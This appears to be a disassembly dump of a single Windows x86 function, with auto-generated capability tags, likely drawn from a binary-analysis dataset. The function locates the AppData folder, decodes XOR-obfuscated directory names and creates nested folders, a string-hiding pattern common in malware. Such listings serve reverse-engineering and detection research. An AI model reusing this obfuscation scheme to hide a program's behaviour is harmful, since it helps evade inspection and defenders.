Function at 0x40f590
Capabilities:
Create directory
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506a19
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1d8
push ebx
push esi
push edi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1e4]
push 0x104
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x1e4]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x1c], 0x9e9ca9bb
xor ecx, ecx
mov dword [ebp - 0x18], 0xaacd9583
mov dword [ebp - 0x14], 0x869a838a
mov dword [ebp - 0x10], 0x100849c
jmp 0x40f610
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xe
jb 0x40f610
xor eax, eax
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f650
sub ecx, edx
lea eax, [ebp - 0x1c]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402ea0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1e4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f676
sub ecx, edx
lea eax, [ebp - 0x1e4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x98]
call fcn.00472090
mov edx, eax
mov esi, 1
xor eax, eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov ecx, dword [edx]
mov dword [ebp - 0x68], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x64], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x60], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x54], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x84]
cmp ecx, 0xf
jbe 0x40f723
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f719
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410068
push ecx
push edx
call fcn.004dfaf3
add esp, 8
cmp dword [ebp - 0x54], 0xf
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
jbe 0x40f74a
mov ecx, dword [ebp - 0x68]
call fcn.0040b340
test al, al
je 0x40fffc
mov dword [ebp - 0x50], 0x9e9ca9bb
xor ecx, ecx
mov dword [ebp - 0x4c], 0x1009583
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 6
jb 0x40f767
mov byte [ebp - 0x49], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x50]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f783
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x18]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x41006d
cmp dword [ebp + 0x1c], 0xf
lea eax, [ebp + 8]
jbe 0x40f7ac
mov eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x50]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0x98]
call fcn.00470ea0
mov esi, 3
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x84], 0xf
jbe 0x40f7df
mov ecx, dword [ebp - 0x98]
call fcn.0040b340
test al, al
jne 0x40f80e
cmp dword [ebp - 0x84], 0xf
lea eax, [ebp - 0x98]
jbe 0x40f7fd
mov eax, dword [ebp - 0x98]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40ffe7
mov dword [ebp - 0x74], 0x8e87a1bb
xor ecx, ecx
mov dword [ebp - 0x70], 0x8a88948e
mov dword [ebp - 0x6c], 0x100b2ab
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x74], al
inc ecx
cmp ecx, 0xa
jb 0x40f825
mov byte [ebp - 0x69], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x74]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f841
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x410072
cmp dword [ebp - 0x54], 0xf
lea eax, [ebp - 0x68]
jbe 0x40f865
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x74]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
cmp dword [ebp - 0x2c], 0xf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], 0xb
jbe 0x40f88b
mov ecx, dword [ebp - 0x40]
call fcn.0040b340
mov esi, 0xb
mov bl, al
mov dword [ebp - 0x28], esi
and esi, 0xfffffff7
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00402c80
test bl, bl
je 0x40fa94
mov dword [ebp - 0x80], 0x8e87a1bb
xor ecx, ecx
mov dword [ebp - 0x7c], 0x8a88948e
mov dword [ebp - 0x78], 0x100b2ab
jmp 0x40f8d0
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x80], al
inc ecx
cmp ecx, 0xa
jb 0x40f8d0
mov byte [ebp - 0x75], 0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f8f0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x88]
sub eax, edx
cmp eax, ecx
jb 0x410077
cmp dword [ebp - 0x84], 0xf
lea eax, [ebp - 0x98]
jbe 0x40f920
mov eax, dword [ebp - 0x98]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
or esi, 0x20
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x2c], 0xf
jbe 0x40f945
mov ecx, dword [ebp - 0x40]
call fcn.0040b340
test al, al
jne 0x40f96b
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
jbe 0x40f95a
mov eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fa82
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0xe0], esp
xor bl, bl
push eax
call fcn.00468b20
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x18], 0x8e87a1bb
mov dword [ebp - 0x14], 0x8a88948e
mov dword [ebp - 0x10], 0x100b2ab
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xa
jb 0x40f9a0
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x48], esp
mov ecx, esp
lea edx, [ebp - 0x68]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 8
mov byte [ebp - 4], 6
mov cl, bl
call fcn.0040ef10
add esp, 0x30
test eax, eax
jne 0x40f9ea
mov eax, dword [ebp - 0x44]
mov byte [eax], 1
jmp 0x40fa82
cmp dword [ebp - 0x2c], 0xf
lea edx, [ebp - 0x40]
jbe 0x40f9f6
mov edx, dword [ebp - 0x40]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea edi, [ecx + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fa10
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x24]
call fcn.00402ea0
mov byte [ebp - 4], 9
push ecx
lea ecx, [ebp - 0x24]
call fcn.0040b4a0
add esp, 4
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x40fa6b
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fa61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41007c
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x14], 0
mov edi, closesocket
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
and esi, 0xffffffdf
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00402c80
mov dword [ebp - 0xa8], 0x8986a4bb
xor ecx, ecx
mov dword [ebp - 0xa4], 0xbdcd808a
mov dword [ebp - 0xa0], 0x93839f9b
mov dword [ebp - 0x9c], 0x1009194
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xa8], al
inc ecx
cmp ecx, 0xe
jb 0x40fac0
mov byte [ebp - 0x99], 0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xa8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fae5
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x410081
cmp dword [ebp - 0x54], 0xf
lea eax, [ebp - 0x68]
jbe 0x40fb09
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0xa8]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
or esi, 0x10
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x2c], 0xf
jbe 0x40fb31
mov ecx, dword [ebp - 0x40]
call fcn.0040b340
and esi, 0xffffffef
mov bl, al
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00402c80
test bl, bl
je 0x40fd59
mov dword [ebp - 0xb8], 0x8986a4bb
xor ecx, ecx
mov dword [ebp - 0xb4], 0xbdcd808a
mov dword [ebp - 0xb0], 0x93839f9b
mov dword [ebp - 0xac], 0x1009194
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xb8], al
inc ecx
cmp ecx, 0xe
jb 0x40fb80
mov byte [ebp - 0xa9], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xb8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fba5
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x88]
sub eax, edx
cmp eax, ecx
jb 0x410086
cmp dword [ebp - 0x84], 0xf
lea eax, [ebp - 0x98]
jbe 0x40fbd5
mov eax, dword [ebp - 0x98]
push ecx
lea ecx, [ebp - 0xb8]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
or esi, 0x80
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x2c], 0xf
jbe 0x40fc00
mov ecx, dword [ebp - 0x40]
call fcn.0040b340
test al, al
jne 0x40fc26
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
jbe 0x40fc15
mov eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fd44
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0x48], esp
xor bl, bl
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xc
xor ecx, ecx
mov dword [ebp - 0x1c], 0x8986a4bb
mov dword [ebp - 0x18], 0xbdcd808a
mov dword [ebp - 0x14], 0x93839f9b
mov dword [ebp - 0x10], 0x1009194
jmp 0x40fc60
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xe
jb 0x40fc60
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xe0], esp
mov ecx, esp
lea edx, [ebp - 0x68]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 0xb
mov cl, bl
call fcn.0040ef10
add esp, 0x30
test eax, eax
jne 0x40fcad
mov eax, dword [ebp - 0x44]
mov byte [eax], 1
jmp 0x40fd44
cmp dword [ebp - 0x2c], 0xf
lea edx, [ebp - 0x40]
jbe 0x40fcb9
mov edx, dword [ebp - 0x40]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea edi, [ecx + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fcd2
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x24]
call fcn.00402ea0
mov byte [ebp - 4], 0xe
push ecx
lea ecx, [ebp - 0x24]
call fcn.0040b4a0
add esp, 4
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x40fd2d
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fd23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41008b
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x14], 0
mov edi, closesocket
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
and esi, 0xffffff7f
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00402c80
mov dword [ebp - 0xca], 0x998cbbbb
xor ecx, ecx
mov dword [ebp - 0xc6], 0x80828598
mov dword [ebp - 0xc2], 0x9d85a3cf
mov dword [ebp - 0xbe], 0x93929581
mov word [ebp - 0xba], 0x100
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xca], al
inc ecx
cmp ecx, 0x10
jb 0x40fd90
mov byte [ebp - 0xb9], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xca]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fdb5
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x410090
cmp dword [ebp - 0x54], 0xf
lea eax, [ebp - 0x68]
jbe 0x40fdd9
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0xca]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
or esi, 4
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x2c], 0xf
jbe 0x40fe01
mov ecx, dword [ebp - 0x40]
call fcn.0040b340
and esi, 0xfffffffb
mov bl, al
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00402c80
test bl, bl
je 0x40ffe7
mov dword [ebp - 0xdc], 0x998cbbbb
xor ecx, ecx
mov dword [ebp - 0xd8], 0x80828598
mov dword [ebp - 0xd4], 0x9d85a3cf
mov dword [ebp - 0xd0], 0x93929581
mov word [ebp - 0xcc], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xdc], al
inc ecx
cmp ecx, 0x10
jb 0x40fe55
mov byte [ebp - 0xcb], 0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xdc]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe80
sub ecx, edx
mov edx, dword [ebp - 0x88]
sub edi, edx
cmp edi, ecx
jb 0x410095
cmp dword [ebp - 0x84], 0xf
lea eax, [ebp - 0x98]
jbe 0x40feae
mov eax, dword [ebp - 0x98]
push ecx
lea ecx, [ebp - 0xdc]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
or esi, 0x40
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x2c], 0xf
jbe 0x40fed6
mov ecx, dword [ebp - 0x40]
call fcn.0040b340
test al, al
jne 0x40fefc
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
jbe 0x40feeb
mov eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40ffd5
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0x48], esp
xor bl, bl
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov dword [ebp - 0x1e], 0x998cbbbb
mov dword [ebp - 0x1a], 0x80828598
mov dword [ebp - 0x16], 0x9d85a3cf
mov dword [ebp - 0x12], 0x93929581
mov word [ebp - 0xe], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0x10
jb 0x40ff37
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x1e]
mov dword [ebp - 0xe0], esp
mov ecx, esp
lea edx, [ebp - 0x68]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x10
mov cl, bl
call fcn.0040ef10
add esp, 0x30
test eax, eax
jne 0x40ff81
mov eax, dword [ebp - 0x44]
mov byte [eax], 1
jmp 0x40ffd5
cmp dword [ebp - 0x2c], 0xf
lea edx, [ebp - 0x40]
jbe 0x40ff8d
mov edx, dword [ebp - 0x40]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea edi, [ecx + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ffa6
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x24]
call fcn.00402ea0
mov byte [ebp - 4], 0x13
push ecx
lea ecx, [ebp - 0x24]
call fcn.0040b4a0
add esp, 4
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x24]
call fcn.00402c80
and esi, 0xffffffbf
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00402c80
and esi, 0xfffffffd
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x98]
call fcn.00402c80
and esi, 0xfffffffe
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0xf
jbe 0x410036
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41002c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41009a
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402c80
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e4d70
call fcn.004025a0
call fcn.004025a0
call fcn.004025a0
call fcn.004e4d70
call fcn.004025a0
call fcn.004025a0
call fcn.004e4d70
call fcn.004025a0
call fcn.004025a0
call fcn.004e4d70
int3